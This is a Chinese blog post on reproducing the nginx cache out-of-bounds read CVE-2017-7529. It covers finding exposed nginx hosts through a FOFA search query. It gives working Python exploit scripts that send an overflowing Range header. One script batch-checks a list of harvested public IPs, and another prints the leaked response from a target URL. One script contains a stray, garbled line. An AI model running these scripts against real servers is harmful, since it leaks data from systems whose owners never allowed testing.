0x07 Nginx越界读取缓存漏洞 CVE-2017-7529 复现

news2024/9/23 7:20:09

参考:

  • Nginx越界读取缓存漏洞 CVE-2017-7529 | PeiQi文库 (wgpsec.org)
  • Nginx越界读取缓存漏洞(CVE-2017-7529)复现分析 - qweg_focus - 博客园 (cnblogs.com)

一、fofa 搜索

nginx && port="80"

我这里写了个脚本将ip保存下来,搜索ip脚本的编写教程:Python教程:如何用Python编写FOFA爬虫获取信息?_fofa python-CSDN博客

 

二、漏洞复现

漏洞poc

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)

我根据poc重写了脚本,读取本地的ip.txt文件进行验证漏洞

#!/usr/bin/env python
import requests

def check_vulnerability(url):
    """
    检查给定的URL是否存在漏洞,根据响应内容进行判断。

    参数:
        url (str): 需要检查漏洞的URL。

    返回:
        bool: 如果存在漏洞返回True,否则返回False。
    """
    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
    }
    offset = 605  # 调整字节范围的偏移量
    try:
        # 发起初始请求以获取响应内容长度
        response = requests.get(url, headers=headers, timeout=10)
        file_len = len(response.content)
        n = file_len + offset

        # 设置Range头部以请求特定的字节范围
        headers['Range'] = "bytes=-%d,-%d" % (n, 0x8000000000000000 - n)
        r = requests.get(url, headers=headers, timeout=10)

        # 检查响应是否指示存在漏洞(例如,状态码206且内容非空)
        if r.status_code == 206 and r.content:
            return True
    except requests.RequestException as e:
        # 静默处理请求异常
        pass
        # print(f"请求错误: {e}")
    return False

def main():
    """
    主函数,从文件中读取URL并检查每个URL是否存在漏洞。
    """
    # 打开包含URL的文件
    with open('ip.txt', 'r') as file:
        urls = [line.strip() for line in file]

    # 检查每个URL是否存在漏洞
    for url in urls:
        # print(f"正在验证的URL: {url}")
        if check_vulnerability(url):
            print(f"验证成功的URL: {url}")

if __name__ == "__main__":
    main()

 

三、利用漏洞

poc

import requests
import urllib3

def cve20177529():
    try:
        # 构造请求头
        headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
        }
        url = 'http://127.0.0.1:8080/'

        # 获取正常响应的返回长度

        # verify=False防止ssl证书校验,allow_redirects=False,防止跳转导致误报的出现
        r1 = requests.get(url, headers=headers, verify=False, allow_redirects=False)
        url_len = len(r1.content)

        # 将数据长度加长,大于返回的正常长度

        addnum = 320
        final_len = url_len + addnum

        # 构造Range请求头,并加进headers中

        # headers['Range'] = "bytes=-%d参考资料,-%d" % (final_len, 0x8000000000000000-final_len)
0x8000000000000000
        headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
            'Range': "bytes=-%d,-%d" % (final_len, 0x8000000000000000 - final_len)
        }

        # 用构造的新的headers发送请求包,并输出结果

        r2 = requests.get(url, headers=headers, verify=False, allow_redirects=False)
        text = r2.text
        code = r2.status_code
        print(code)#打印状态码
        print(text)#打印响应

    except Exception as result:
        print(result)


if __name__ == "__main__":
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    cve20177529()

 我用这个poc遇到目标进行302重定向没有获取到目标信息,然后我又改了一下

import requests
import urllib3

def cve20177529():
    """
    检查特定URL是否存在CVE-2017-7529漏洞。
    """
    try:
        # 构造请求头,模拟浏览器访问
        headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
        }
        url = 'http://xxxx'  # 目标URL

        # 发起初始请求以获取响应内容长度
        r1 = requests.get(url, headers=headers, verify=False, allow_redirects=True)
        url_len = len(r1.content)

        # 设置范围增量
        addnum = 320
        final_len = url_len + addnum

        # 构造带有Range头部的请求
        headers['Range'] = "bytes=-%d,-%d" % (final_len, 0x8000000000000000 - final_len)

        # 发送带有Range头部的请求
        r2 = requests.get(url, headers=headers, verify=False, allow_redirects=True)
        text = r2.text
        code = r2.status_code

        # 输出响应状态码和内容
        print(f"Status Code: {code}")
        print("Response Body:")
        print(text)

    except Exception as e:
        # 捕捉并输出异常信息
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    # 禁用SSL警告
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    # 调用检查函数
    cve20177529()

状态码 206 表示“部分内容”(Partial Content),通常是在服务器处理了部分范围请求时返回的。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2126970.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

el-form之表单校验自动定位到报错位置问题,,提升用户体验

需求描述 由于需要填写的表单项太多&#xff0c;提交的时候校验不通过&#xff0c;如果没填写的表单项在最上面&#xff0c;用户看不到不知道发生了啥&#xff0c;所以需要将页面滚动定位到第一个报错的表单项位置&#xff0c;提升用户体验 实现步骤 点击保存校验 报错项class会…

opencv 之 实战项目 识别银行卡上的数字

OpenCV 之 实战项目&#xff1a;识别银行卡上的数字 引言 在日常生活中&#xff0c;银行卡的识别是一个常见的需求&#xff0c;特别是在金融领域。本实战项目旨在使用 OpenCV 库来识别银行卡上的数字。我们将通过模板匹配的方法&#xff0c;结合图像处理技术&#xff0c;来准…

【网络安全】基础知识详解(非常详细)零基础入门到精通

一、什么是网络安全&#xff1f; 百度上对“网络安全”是这么介绍的&#xff1a; “网络安全是指网络系统的硬件、软件及其系统中的数据受到保护&#xff0c;不因偶然的或者恶意的原因而遭受到破坏、更改、泄露、系统连续可靠正常地运行&#xff0c;网络服务不中断。” 嗯…是不…

Xubuntu22.04之四种方式:查看U盘、硬盘格式(二百六十七)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

【操作系统】二、进程管理:4.死锁(银行家算法、系统安全状态、静态分配策略、资源有序分配法)

五、死锁 文章目录 五、死锁1.产生1.1产生情况1.2产生的4个必要条件 2.处理方式2.1预防死锁2.1.1破坏互斥条件2.1.2破坏请求和保持条件2.1.3破坏不可抢占条件2.1.4破坏循环等待条件 2.2避免死锁2.2.1系统安全状态❗2.2.2银行家算法 2.3检测死锁2.4解除死锁 死锁&#xff1a;资源…

用centos安装远程迅雷失败,重写程序做一台下载服务器

安装远程迅雷的时候&#xff0c;要不是安装包地址过期&#xff0c;就是出现64不兼容32的libz.so.1的包&#xff0c;而且32位的libz包也是好多网站过期。 没办法用仅有的python3&#xff0c;用flask搭建了一个小型的内网下载服务器&#xff0c;当然&#xff0c;只要路由器做映射…

软件测试认知篇

哈喽&#xff0c;哈喽&#xff0c;大家好~ 我是你们的老朋友&#xff1a;保护小周ღ 今天给大家带来的是 软件测试的认知篇, 从什么是软件测试出发, 其次是测试和开发之间的区别, 软件测试有哪些岗位, 以及测试人员需求具备的素质, 最后是3道软件测试的面试题~ &#xff0…

如何将 Electron 项目上架 Apple Store

前言 Electron 是一个开源框架,它允许开发者使用 Web 技术(HTML、CSS 和 JavaScript)来构建跨平台的桌面应用程序。 Electron 应用程序可以运行在 Windows、macOS 和 Linux 上,为用户提供了一种统一的方式来开发和维护软件。 本文将探讨如何将 Electron 构建的桌面应用程…

R语言进行无序多分类Logistic回归

在临床研究中&#xff0c;接触最多的是二分类数据&#xff0c;如淋巴癌是否转移&#xff0c;是否死亡&#xff0c;这些因变量最后都可以转换成二分类0与1的问题。然后建立二元logistic回归方程&#xff0c;可以得到影响因素的OR值。但有时我们也会接触到多分类结局数据&#xf…

re题(18)BUUCTF-简单注册器

BUUCTF在线评测 (buuoj.cn) 放到jadx找主函数 也可以用Jeb打开&#xff0c;Tab反编译成java 写个脚本 str[d,d,2,9,4,0,c,0,4,4,6,2,b,4,d,d,7,c,4,5,0,5,2,8,8,3,5,c,c,a,1,5]str[2]chr(ord(str[2])ord(str[3])-50) str[4]chr( ord(str[2])ord(str[5])-0x30 ) str[30]chr( ord…

JS设计模式之外观模式:简化复杂系统调用的利器

一、了解外观模式 概念 外观模式&#xff08;Facade Pattern&#xff09;是一种结构型设计模式&#xff0c;它提供了一个简单的接口&#xff0c;隐藏了一个复杂系统的内部复杂性&#xff0c;使得客户端可以通过该接口与系统进行交互&#xff0c;而无需了解系统内部的具体实现…

vue3 一次二次封装element-plus组件引发的思考

前言 在开发 Vue 项目中我们一般使用第三方 UI 组件库进行开发&#xff0c;如 Element-Plus、Element-ui、Ant-design等, 但是这些组件库提供的组件并不一定都能满足我们的日常开发需求&#xff0c;有时候我们需要实现的效果是直接使用组件库无法实现的&#xff0c;那么这时我…

TMS320F28335的基本电路设计

1.电源电路 2.时钟电路 3.复位电路 4.JTAG电路 5.外扩RAM电路 6.外扩Flash电路 7.GPIO电平转换电路 8.ADC调理电路 9.串口通信电路 10.CAN电路 11.I2C电路 12.BOOT启动电路 12.调试注意事项

如何判断一个系统的大小端的存储模式

1、什么是大小端 大小端&#xff1a;是指在计算机系统中&#xff0c;多字节数据&#xff08;如整数、浮点数等&#xff09;存储顺序的不同而不同的称呼。 在计算机内存中&#xff0c;数据是以字节为单位存储的。对于多字节数据&#xff0c;如4字节的整数&#xff0c;存储的时…

基于JAVA+SpringBoot+Vue的前后端分离企业oa管理系统

基于JAVASpringBootVue的前后端分离企业oa管理系统 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末附源码下载链接&#x1…

化工原料环保能源网站模板整站打包下载

图片在最下面 响应式新能源化工研究院网站模板.zip 营销型硅胶制品原料网站模板.zip 环境水务治理网站模板.zip 响应式新能源清洁能源公司网站模板.zip 环保废气废水处理工程类网站模板.zip 活性炭净化炭企业网站模板.zip 响应式新能源开发企业网站模板.zip 营销型塑料…

leaflet【十】实时增加轨迹点轨迹回放效果实现

实时轨迹回放 在前面有用leaflet-trackplayer实现了一个轨迹回放的效果&#xff0c;单击前往&#xff1a;轨迹回放效果&控制台控制轨迹运动效果 这篇文章主要是实现一下实时增加轨迹点&#xff0c;不改变原来运行轨迹和速度。这里是简易做了一个demo效果&#xff0c;大概…

django学习入门系列之第十点《A 案例: 员工管理系统5》

文章目录 7 模板的继承7.1 继承指令-占位符7.2 继承指令 - 继承符7.3 **想用继承的html的文件**7.4 简单模板的例子 8 用户管理8.1 展示日期数据8.2 转义文字&#xff08;应该会常用&#xff09;8.3 搜索并跨表8.4 模板语法 往期回顾 7 模板的继承 部门列表添加部门编辑部门 …

如何使用ChatGPT,完成学术论文文献综述的编写?

学境思源&#xff0c;一键生成论文初稿&#xff1a; AcademicIdeas - 学境思源AI论文写作 在学术研究中&#xff0c;文献综述是了解研究现状、辨识研究空白并为自己的研究奠定理论基础的关键环节。ChatGPT 可以在文献综述的编写过程中提供有效的支持&#xff0c;从文献搜集、批…

51单片机快速入门之延时代码 STC 51单片机

51单片机快速入门之延时代码 时序周期:简单的举例(早 中 晚) 时间基准:一个机器周期有 12个 振荡周期(晶振) 假设我们现在手上为12MHz晶振 单个振荡周期计算公式:T(时间周期)1/f(晶振的频率) 在处理频率相关的计算时&#xff0c;通常会使用赫兹&#xff08;Hz&#xff09;…